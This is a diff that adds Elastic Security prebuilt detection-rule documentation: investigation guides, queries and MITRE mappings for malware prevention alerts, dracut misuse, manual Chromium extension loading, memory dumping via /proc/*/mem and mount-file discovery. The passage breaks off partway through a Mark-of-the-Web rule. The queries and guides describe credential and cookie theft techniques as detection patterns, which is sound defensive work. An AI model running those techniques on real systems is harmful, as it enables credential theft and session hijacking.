b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-malware-prevented-elastic-endgame.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-34-malware-prevented-elastic-endgame]] +=== Malware - Prevented - Elastic Endgame + +Elastic Endgame prevented Malware. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Malware - Prevented - Elastic Endgame* + + +Elastic Endgame is a security solution designed to prevent malware by analyzing and classifying files in real-time. Adversaries may attempt to bypass such defenses by disguising malicious files to evade detection. The detection rule identifies prevention events where Elastic Endgame has successfully blocked a file classified as malware, focusing on alerts generated by file classification activities. This helps security analysts quickly respond to and investigate potential threats. + + +*Possible investigation steps* + + +- Review the alert details to confirm the event.kind is 'alert' and event.module is 'endgame', ensuring the alert is relevant to the Elastic Endgame prevention mechanism. +- Examine the endgame.metadata.type field to verify it is 'prevention', indicating that the alert pertains to a successfully blocked malware attempt. +- Investigate the event.action or endgame.event_subtype_full fields to understand the specific file classification event that triggered the alert. +- Gather additional context by checking the file path, hash, and any associated metadata to identify the potentially malicious file and its origin. +- Cross-reference the alert with other security logs and alerts to determine if there are related events or patterns that could indicate a broader attack campaign. +- Assess the risk score and severity to prioritize the investigation and response efforts, considering the high severity and risk score of 73. +- Utilize the Elastic Endgame interface or provided links for further information and context about the specific prevention event and any recommended remediation actions. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they involve file classification activities. To manage this, create exceptions for known and trusted software update processes. +- Security tools or system processes that perform file scanning or classification might be flagged. Identify these processes and add them to an exception list to prevent unnecessary alerts. +- Custom scripts or applications developed in-house that perform file operations similar to malware can be mistaken for threats. Review these scripts and whitelist them if they are verified as safe. +- Frequent alerts from specific directories known to contain non-malicious files, such as temporary or backup folders, can be excluded by specifying these paths in the rule exceptions. +- If certain file types are consistently misclassified as threats, consider adjusting the rule to exclude these file types after confirming they are not harmful. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent the spread of malware to other parts of the network. Disconnect the system from the network and any shared drives. +- Verify the alert by cross-referencing the blocked file details with known malware signatures or threat intelligence sources to confirm the threat. +- Remove the malicious file from the system using a trusted antivirus or endpoint protection tool. Ensure that the file is quarantined or deleted to prevent re-execution. +- Conduct a thorough scan of the affected system and any connected devices to identify and remove any additional malicious files or remnants. +- Restore any affected files or systems from a clean backup, ensuring that the backup is free from malware before restoration. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems may be compromised. +- Review and update security policies and endpoint protection configurations to enhance detection and prevention capabilities against similar threats in the future. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:file_classification_event or endgame.event_subtype_full:file_classification_event) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-dracut-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-dracut-execution.asciidoc new file mode 100644 index 0000000000..cba1ec33c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-dracut-execution.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-manual-dracut-execution]] +=== Manual Dracut Execution + +This rule detects manual execution of the "dracut" command on Linux systems. Dracut is a tool used to generate an initramfs image that is used to boot the system. Attackers may use "dracut" to create a custom initramfs image that includes malicious code or backdoors, allowing them to maintain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Manual Dracut Execution* + + +Dracut is a utility in Linux systems used to create initramfs images, essential for booting. Adversaries might exploit Dracut to craft malicious initramfs, embedding backdoors for persistence. The detection rule identifies unusual Dracut executions by scrutinizing process origins and excluding legitimate parent processes, flagging potential unauthorized use. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the dracut command, focusing on the process.name and process.parent.executable fields to identify any unusual parent processes. +- Examine the command line arguments used with the dracut process by checking the process.parent.command_line field to understand the context of its execution. +- Investigate the user account associated with the dracut execution to determine if it aligns with expected administrative activity or if it indicates potential unauthorized access. +- Check the system logs and any related security alerts around the time of the dracut execution to identify any correlated suspicious activities or anomalies. +- Assess the system for any changes to the initramfs image or other boot-related files that could indicate tampering or the presence of backdoors. + + +*False positive analysis* + + +- Legitimate system updates or kernel installations may trigger the rule. To handle this, users can create exceptions for processes originating from known update paths like /usr/lib/kernel/* or /etc/kernel/install.d/*. +- Automated scripts or maintenance tasks that use dracut for legitimate purposes might be flagged. Users should identify these scripts and add their parent process names, such as dracut-install or run-parts, to the exclusion list. +- Custom administrative scripts executed by trusted users could be mistaken for suspicious activity. Users can exclude specific command lines or arguments associated with these scripts, such as /usr/bin/dracut-rebuild, to prevent false positives. +- Temporary or testing environments where dracut is used for non-malicious testing purposes might trigger alerts. Users can exclude these environments by specifying unique parent process paths or names that are characteristic of the testing setup. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Terminate any suspicious or unauthorized dracut processes identified on the system to halt any ongoing malicious activity. +- Conduct a thorough review of the initramfs images on the affected system to identify and remove any unauthorized or malicious modifications. +- Restore the system's initramfs from a known good backup to ensure the integrity of the boot process. +- Implement monitoring for any future unauthorized dracut executions by setting up alerts for similar process activities, ensuring quick detection and response. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Review and update access controls and permissions to limit the ability to execute dracut to only authorized personnel, reducing the risk of future exploitation. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name == "dracut" and process.parent.executable != null and not ( + process.parent.executable like ( + "/usr/lib/kernel/*", "/etc/kernel/install.d/*", "/var/lib/dpkg/info/dracut.postinst", + "/tmp/newroot/*", "/usr/lib/module-init-tools/*", "/usr/bin/xargs", "/sbin/dkms", + "/sbin/mkinitrd", "/usr/bin/timeout", "/usr/sbin/dkms", "/usr/bin/systemd-inhibit" + ) or + process.parent.name in ( + "dracut-install", "dracut", "run-parts", "weak-modules", "mkdumprd", "new-kernel-pkg", "sudo" + ) or + process.parent.args like~ ("/usr/bin/dracut-rebuild", "/var/tmp/rpm-tmp.*") or + process.parent.command_line like~ "/bin/sh -c if command -v mkinitcpio*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-loading-of-a-suspicious-chromium-extension.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-loading-of-a-suspicious-chromium-extension.asciidoc new file mode 100644 index 0000000000..097eb26d45 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-loading-of-a-suspicious-chromium-extension.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-manual-loading-of-a-suspicious-chromium-extension]] +=== Manual Loading of a Suspicious Chromium Extension + +Detects the manual loading of a Chromium-based browser extension via command line arguments. This activity is suspicious and could indicate a threat actor loading a malicious extension to persist or collect browsing secrets such as cookies and authentication tokens. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cedowens.medium.com/remotely-dumping-chrome-cookies-revisited-b25343257209 +* https://github.com/cedowens/Dump-Chrome-Cookies + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Browser Extension Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Manual Loading of a Suspicious Chromium Extension* + + +Chromium-based browsers support loading extensions from local directories using the --load-extension command line flag, bypassing the normal extension store installation process. Threat actors abuse this capability to load malicious extensions that can steal cookies, capture session tokens, intercept form submissions, or inject content into web pages. Unlike store-installed extensions, manually loaded extensions don't undergo security review and can request arbitrary permissions. This detection rule identifies browsers launched with the --load-extension flag from suspicious parent processes. + + +*Possible investigation steps* + + +- Examine the process.args containing --load-extension to identify the full path of the extension being loaded. +- Navigate to the extension directory and review the manifest.json to understand the permissions requested, including access to cookies, tabs, or web requests. +- Analyze the extension's JavaScript files for malicious functionality such as cookie exfiltration, form interception, or communication with external servers. +- Review the process.parent.executable to understand how the browser was launched with the malicious extension and trace back to the initial execution vector. +- Check for network connections made by the browser process to identify potential data exfiltration endpoints. +- Review browser profile data for evidence of credential theft or session hijacking. +- Search for the same extension path across other systems to identify potential lateral movement or widespread deployment. + + +*False positive analysis* + + +- Cypress and other automated testing frameworks load extensions for browser automation. These are already excluded in the query. +- ChromeDriver used for Selenium testing loads extensions programmatically. These paths are excluded in the query. +- Developer debugging may require manual extension loading during active development. Verify with development teams if such activities are expected. +- Enterprise browser customization may deploy internal extensions via command line. Review with IT operations to document approved extensions. + + +*Response and remediation* + + +- Immediately terminate the browser process to stop any ongoing malicious activity such as cookie theft or session hijacking. +- Remove the malicious extension directory from the filesystem to prevent future loading. +- Clear browser session data including cookies, cached credentials, and saved passwords for the affected browser profile. +- Review and revoke any sessions for sensitive web applications that were accessed while the extension was loaded. +- Investigate how the malicious extension was deployed and remediate the initial access vector. +- Block the malicious extension path or hash in endpoint security policies to prevent reloading. +- Reset passwords for web accounts that may have been compromised through the malicious extension. +- Check browser sync settings to ensure the malicious extension doesn't propagate to other devices. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.action == "exec" and + process.name in ("Google Chrome", "Brave Browser", "Microsoft Edge") and + process.args like "--load-extension=/*" and + not (process.args like "--load-extension=/Users/*/Library/Application Support/Cypress/*" and + process.parent.executable like ("/Applications/Google Chrome.app/Contents/MacOS/Google Chrome", + "/Users/*/Library/Caches/Cypress/*/Cypress.app/Contents/MacOS/Cypress")) and + not process.parent.executable like ("/opt/homebrew/Caskroom/chromedriver/*/chromedriver", + "/Applications/Cypress.app/Contents/MacOS/Cypress", + "/usr/local/bin/chromedriver") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Software Extensions +** ID: T1176 +** Reference URL: https://attack.mitre.org/techniques/T1176/ +* Sub-technique: +** Name: Browser Extensions +** ID: T1176.001 +** Reference URL: https://attack.mitre.org/techniques/T1176/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Browser Session Hijacking +** ID: T1185 +** Reference URL: https://attack.mitre.org/techniques/T1185/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-memory-dumping-via-proc-filesystem.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-memory-dumping-via-proc-filesystem.asciidoc new file mode 100644 index 0000000000..d4b72c0500 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-memory-dumping-via-proc-filesystem.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-manual-memory-dumping-via-proc-filesystem]] +=== Manual Memory Dumping via Proc Filesystem + +This rule monitors for manual memory dumping via the proc filesystem. The proc filesystem in Linux provides a virtual filesystem that contains information about system processes and their memory mappings. Attackers may use this technique to dump the memory of a process, potentially extracting sensitive information such as credentials or encryption keys. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Manual Memory Dumping via Proc Filesystem* + + +The proc filesystem in Linux is a virtual interface providing detailed insights into system processes and their memory. Adversaries exploit this by manually dumping memory from processes to extract sensitive data like credentials. The detection rule identifies suspicious activities by monitoring process executions that access memory files within the proc directory, flagging potential credential access attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name and command line that triggered the rule, focusing on processes like "cat", "grep", "tail", "less", "more", "egrep", or "fgrep" accessing "/proc/*/mem". +- Examine the process execution context, including the parent process and user account associated with the suspicious activity, to determine if the activity is expected or potentially malicious. +- Check the system logs and historical data for any previous occurrences of similar activities involving the same process names and command lines to assess if this is part of a pattern or anomaly. +- Investigate the user account's recent activities and permissions to determine if there are any signs of compromise or unauthorized access that could explain the memory dumping attempt. +- Analyze network traffic and connections from the host to identify any potential data exfiltration attempts or communications with known malicious IP addresses or domains. +- If necessary, isolate the affected system to prevent further potential data leakage and conduct a deeper forensic analysis to uncover any additional indicators of compromise. + + +*False positive analysis* + + +- System administrators or automated scripts may legitimately access the proc filesystem for monitoring or debugging purposes. To handle this, identify and whitelist known scripts or administrative tools that frequently access memory files. +- Security tools or monitoring solutions might access the proc filesystem as part of their regular operations. Review and exclude these processes from the rule to prevent unnecessary alerts. +- Developers or testers might use commands like cat or grep on proc files during application debugging. Establish a list of approved users or groups who are allowed to perform these actions and exclude their activities from triggering alerts. +- Backup or system maintenance processes could involve accessing proc files. Document these processes and create exceptions for them to avoid false positives. +- Regular system health checks might involve accessing memory files. Identify these checks and configure the rule to ignore them by specifying the associated process names or command patterns. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further unauthorized access or data exfiltration. Disconnect the network connection and disable remote access capabilities. +- Terminate any suspicious processes identified by the detection rule, specifically those accessing memory files within the proc directory using commands like "cat", "grep", "tail", "less", "more", "egrep", or "fgrep". +- Conduct a memory analysis on the isolated system to identify any extracted sensitive data, such as credentials or encryption keys, and assess the extent of the compromise. +- Change all potentially compromised credentials and encryption keys immediately, prioritizing those associated with critical systems and services. +- Review and enhance system logging and monitoring configurations to ensure comprehensive visibility into process activities, particularly those involving the proc filesystem. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional security controls, such as restricting access to the proc filesystem and employing application whitelisting, to prevent unauthorized memory dumping activities in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("cat", "grep", "tail", "less", "more", "egrep", "fgrep") and process.command_line like "/proc/*/mem" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Proc Filesystem +** ID: T1003.007 +** Reference URL: https://attack.mitre.org/techniques/T1003/007/ +* Technique: +** Name: Exploitation for Credential Access +** ID: T1212 +** Reference URL: https://attack.mitre.org/techniques/T1212/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-mount-discovery-via-etc-exports-or-etc-fstab.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-mount-discovery-via-etc-exports-or-etc-fstab.asciidoc new file mode 100644 index 0000000000..2c18260cb7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-manual-mount-discovery-via-etc-exports-or-etc-fstab.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-manual-mount-discovery-via-etc-exports-or-etc-fstab]] +=== Manual Mount Discovery via /etc/exports or /etc/fstab + +This rule detects manual mount discovery via the /etc/exports or /etc/fstab file on Linux systems. These files are used by NFS (Network File System) to define which directories are shared with remote hosts. Attackers may access this file to gather information about shared directories and potential targets for further exploitation. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Manual Mount Discovery via /etc/exports or /etc/fstab* + + +In Linux environments, the `/etc/exports` and `/etc/fstab` files are crucial for managing shared directories and mounting filesystems, respectively. Adversaries may exploit these files to identify shared resources and potential targets for lateral movement. The detection rule identifies suspicious processes accessing these files, using common command-line utilities, to flag potential reconnaissance activities by attackers. + + +*Possible investigation steps* + + +- Review the process details to identify the user account associated with the suspicious activity, focusing on the process.name and process.command_line fields. +- Examine the command line arguments in the process.command_line field to determine the specific actions taken and whether they align with legitimate administrative tasks. +- Check the process start time and correlate it with other system activities to identify any unusual patterns or sequences of events. +- Investigate the source IP address or hostname if the process was initiated remotely, to assess whether it is a known or trusted entity. +- Look for any other related alerts or logs around the same timeframe to identify potential lateral movement or further reconnaissance activities. +- Verify if the accessed directories in /etc/exports or /etc/fstab are critical or sensitive, and assess the potential impact of unauthorized access. + + +*False positive analysis* + + +- Routine system administration tasks may trigger alerts when administrators use command-line utilities to view or edit /etc/exports or /etc/fstab. To mitigate this, consider excluding processes executed by known administrator accounts or during scheduled maintenance windows. +- Automated scripts for system monitoring or configuration management might access these files regularly. Identify and whitelist these scripts by their process names or command-line patterns to reduce false positives. +- Backup operations often involve reading configuration files like /etc/exports or /etc/fstab. Exclude processes associated with backup software or services to prevent unnecessary alerts. +- Security tools or compliance checks may scan these files as part of their regular operations. Review and whitelist these tools based on their process names or command-line arguments to avoid false positives. +- Developers or testers might access these files in development environments for testing purposes. Consider excluding processes from development servers or specific user accounts associated with testing activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Conduct a thorough review of the `/etc/exports` and `/etc/fstab` files on the affected system to identify any unauthorized changes or suspicious entries. +- Revoke any unauthorized access to shared directories identified in the `/etc/exports` file and ensure that only trusted hosts have access. +- Reset credentials and review access permissions for users and services that have access to the affected system to prevent further unauthorized access. +- Monitor network traffic for any unusual activity originating from the affected system, focusing on connections to external IPs or unexpected internal hosts. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. +- Implement enhanced monitoring and logging for access to critical configuration files like `/etc/exports` and `/etc/fstab` to detect similar threats in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("cat", "grep", "tail", "less", "more", "egrep", "fgrep", "awk") and +process.command_line like ("/etc/exports", "/etc/fstab") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Network Share Discovery +** ID: T1135 +** Reference URL: https://attack.mitre.org/techniques/T1135/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mark-of-the-web-removal-by-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mark-of-the-web-removal-by-an-unusual-process.asciidoc new file mode 100644 index 0000000000..83372d1c4d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mark-of-the-web-removal-by-an-unusual-process.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-mark-of-the-web-removal-by-an-unusual-process]] +=== Mark-of-the-Web Removal by an Unusual Process + +Identifies an unusual process deleting the Zone.Identifier alternate data stream from an executable or Windows Installer package. Attackers can remove this stream to bypass Mark-of-the-Web protections. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 